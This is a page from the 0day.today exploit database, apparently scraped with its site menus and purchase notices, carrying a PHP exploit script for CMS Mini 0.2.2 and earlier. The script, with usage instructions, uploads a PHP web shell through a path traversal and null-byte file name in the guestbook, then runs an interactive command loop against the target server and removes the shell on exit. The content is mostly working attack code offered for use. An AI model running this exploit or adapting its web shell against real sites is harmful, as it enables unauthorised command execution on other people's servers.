0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
CMS Mini <= 0.2.2 Remote Command Execution Exploit
================================================== CMS Mini <= 0.2.2 Remote Command Execution Exploit ================================================== --+++================================================================+++-- --+++====== CMS Mini <= 0.2.2 Remote Command Execution Exploit ======+++-- --+++================================================================+++-- <?php function usage () { exit ( "\nCMS Mini <= 0.2.2 Remote Command Execution Exploit". "\n[+] Author : darkjoker". "\n[+] Download: http://ovh.dl.sourceforge.net/sourceforge/cmsmini/cmsmini-0.2.2.tar.gz". "\n[+] Usage : php xpl.php <hostname> <path>". "\n[+] Ex. : php xpl.php localhost /CMSmini". "\n\n"); } if ($argc != 3) usage; $hostname = $argv [1]; $path = $argv [2]; $fp = fsockopen ($hostname, 80); $post = "message=<? system (\$_GET ['cmd']); die ();?>"; $request = "POST {$path}/view/index.php?op=guestbook&path=..&p=file.php%00 HTTP/1.1\r\n". "Host: $hostname\r\n". "Connection: Close\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "Content-Length: " . strlen ($post) . "\r\n\r\n". $post; fputs ($fp, $request); fclose ($fp); $stdin = fopen("php://stdin", "r"); while (1) { echo "$ "; $cmd = str_replace (" ", "%20", trim (fgets ($stdin, 1024))); if ($cmd == "exit") { file_get_contents ("http://{$hostname}{$path}/file.php?cmd=rm%20file.php"); break; } echo file_get_contents ("http://{$hostname}{$path}/file.php?cmd={$cmd}"); } fclose ($stdin); ?> # 0day.today [2024-07-08] #